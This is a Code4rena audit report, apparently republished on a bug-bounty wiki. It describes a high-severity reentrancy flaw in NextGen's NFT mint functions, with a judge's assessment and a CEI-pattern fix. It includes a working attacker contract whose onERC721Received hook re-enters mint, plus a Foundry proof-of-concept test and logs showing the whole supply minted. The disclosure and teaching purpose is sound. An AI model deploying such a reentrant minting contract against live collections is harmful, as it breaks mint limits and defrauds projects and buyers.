Attacker can reenter to mint all the collection supply
The mint function updates per-address mint counts after an external call to the recipient's onERC721Received hook, allowing a malicious contract to re-enter and mint the entire collection supply, bypassing purchase limits.
btk Follow with sl1, alexxander and 48 others
Originally disclosed on Code4rena
Submitted by btk, also found by sl1, 836541, alexxander, ilchovski, Kose, pontifex, PetarTolev (1, 2, 3), ChrisTina, Tricko, DarkTower, DeFiHackLabs, immeas, Aymen0909, sces60107, phoenixV110, 0xraion, 0x175, trachev, 3th, droptpackets, Talfao, 0xJuda, r0ck3tz, smiling_heretic, stackachu, seeques, MrPotatoMagic, codynhat, audityourcontracts, ustas, jacopod, Neo_Granicen, bronze_pickaxe, PENGUN, bird-flu, EricWWFCP, ke1caM, Viktor_Cortess, The_Kakers, fibonacci, ayden, Al-Qa-qa, 0xpiken, xAriextz, ubl4nk, _eperezok, degensec, flacko, evmboi32, kk_krish, ZdravkoHr, gumgumzum, turvy_fuzz, Toshii, mojito_auditor, SovaSlava, AvantGard, 00xSEV, xuwinnie, SpicyMeatball, Kow, KupiaSec, VAD37, 0xAlix2 (1, 2), Ruhum, 0x180db, 0x3b, t0x1c, Beosin, critical-or-high, innertia, nuthan2x, joesan, danielles0xG, Soul22, and y4y
An attacker can reenter the MinterContract::mint function, bypassing the maxCollectionPurchases check and minting the entire collection supply.
Proof of Concept
The vulnerability stems from the absence of the Check Effects Interactions pattern. As seen here, NextGenCore::mint updates the tokensMintedAllowlistAddress and tokensMintedPerAddress after making an external call:
// Minting logic is here
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress]++;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress]++;
}
}
Exploitation Steps:
- Attacker calls
MinterContract::mintwith a malicious contract as the receiver. - The malicious contract executes a crafted
onERC721Received(). MinterContract::mintinvokesNextGenCore::mint, which uses_safeMint()internally._safeMint()calls_recipient.onERC721Received(), leading to the minting of the complete collection supply.
An example of the attacker onERC721Received() implementation:
function onERC721Received(
address,
address,
uint256,
bytes memory
) public override returns (bytes4) {
(, , uint256 circulationSupply, uint256 totalSupply, , ) = nextGenCore
.retrieveCollectionAdditionalData(1);
if (circulationSupply == totalSupply)
return this.onERC721Received.selector;
bytes32[] memory merkleProof = new bytes32[](1);
merkleProof[0] = bytes32(0);
minterContract.mint{value: 1e18}({
_collectionID: 1,
_numberOfTokens: 1,
_maxAllowance: 0,
_tokenData: "",
_mintTo: address(this),
merkleProof: merkleProof,
_delegator: address(0),
_saltfun_o: 0
});
return this.onERC721Received.selector;
}
Here is a coded PoC to demonstrate the issue:
function testMintAllTheCollection() public {
bytes32[] memory merkleProof = setUpArrayBytes(1);
merkleProof[0] = bytes32(0);
address attacker = makeAddr("attacker");
vm.prank(attacker);
MintAllSupply mintAllSupply = new MintAllSupply(minterContract, nextGenCore);
deal(address(mintAllSupply), 49e18);
vm.warp(block.timestamp + 1 days);
console.log("(Collection Circulation Supply Before) = ", nextGenCore.viewCirSupply(1));
console.log("(Balance of attacker contract Before) = ", address(mintAllSupply).balance);
console.log("(Col 1 Balance of attacker contract Before) = ", nextGenCore.balanceOf(address(mintAllSupply)));
hoax(attacker, 1e18);
minterContract.mint{ value: 1e18}({
_collectionID: 1,
_numberOfTokens: 1,
_maxAllowance: 0,
_tokenData: "",
_mintTo: address(mintAllSupply),
merkleProof: merkleProof,
_delegator: address(0),
_saltfun_o: 0
});
console.log("(Collection Circulation Supply After) = ", nextGenCore.viewCirSupply(1));
console.log("(Balance of attacker contract After) = ", address(mintAllSupply).balance);
console.log("(Col 1 Balance of attacker contract After) = ", nextGenCore.balanceOf(address(mintAllSupply)));
}
Logs result:
(Collection Circulation Supply Before) : 0
(Balance of attacker contract Before) : 49000000000000000000
(Col 1 Balance of attacker contract Before) : 0
(Collection Circulation Supply After) : 50
(Balance of attacker contract After) : 0
(Col 1 Balance of attacker contract After) : 50
Test Setup:
- Clone the repository: https://github.com/0xbtk/NextGen-Setup.git.
- Add the attacker’s contract in the Helpers folder from this link.
- Incorporate the tests in
NextGenSecurityReview. - Execute:
forge test --mt testMintAllTheCollection -vvv.
Recommended Mitigation Steps
We recommend following Check Effects Interactions in NextGenCore::mint as follow:
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress]++;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress]++;
}
// Minting logic should be here
}
Assessed type
Reentrancy
a2rocket (NextGen) confirmed via duplicate issue #51
The Warden has illustrated how a re-entrant EIP-721 hook can be exploited to bypass the allowlist/public limitations set forth for a collection.
The Sponsor has confirmed the finding and I deem it valid as the code will update the minted per address mappings after the “safe” mint operation, thereby being susceptible to the re-entrancy described. Its severity of “high” is also deemed correct given that a main invariant of the system (mint limitations so scarcity of an NFT) can be broken arbitrarily as the re-entrancy attack can be repetitively replayed.
The Warden’s submission was selected as the best due to its correct remediation relying on enforcement of the CEI pattern, short-and-sweet PoC, and overall clean submission.
After discussions with fellow judges, I have opted to split re-entrancy vulnerabilities into two separate instances:
- Absence of the CEI Pattern in
NextGenCore::mint- Absence of the CEI Pattern in
MinterContract::mintIn my opinion, those two constitute different vulnerabilities as they relate to different state variables. The rationale behind this “split” is that when we consider the root cause for a vulnerability to render two submissions distinct, we have to treat a re-entrancy as a desirable trait of the EVM. Additionally, we cannot assume a rational fix is the application of the
ReentrancyGuard::nonReentrantmodifier; the enforcement of the CEI pattern is widely recognized as the “correct” way to resolve these issues.This assumption falls in line with what the Solidity documentation has instructed since its inception, given that the security considerations of the language clearly state that the CEI pattern should be applied and do not mention “re-entrancy” guards. As such, the root causes described in this issue are two unique ones:
- #1517: Absence of the CEI Pattern in
NextGenCore::mint- #2048: Absence of the CEI Pattern in
MinterContract::mintEDIT: After further consideration, I have opted to retain only this submission as a valid of the two.
The absence of the CEI pattern in #2048 leads to an incorrect
getPricebeing utilized for multiple valid mints in a period, and no Warden identified that particular aspect that is vulnerable. As such, I have proceeded to invalidate the submission and its duplicates.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The contract updates the minted-per-address mappings after the external call to the recipient's onERC721Received hook, violating the checks-effects-interactions pattern.
Impact
An attacker could mint the entire collection supply, breaking the mint limitations and the scarcity of the NFT.
What the attacker needed
Attacker controls a contract; minting is open or allowlisted
How it was found
- Attacker calls MinterContract::mint with a malicious contract as the receiver.
- The malicious contract executes a crafted onERC721Received().
- MinterContract::mint invokes NextGenCore::mint, which uses _safeMint() internally.
- _safeMint() calls _recipient.onERC721Received(), leading to the minting of the complete collection supply.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you mint an NFT, the contract calls a function on your wallet to confirm it can receive NFTs. This report shows that the contract updates its record of how many NFTs you've minted only after that call. A malicious contract can use that call to mint again and again before the record is updated, getting the whole supply.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.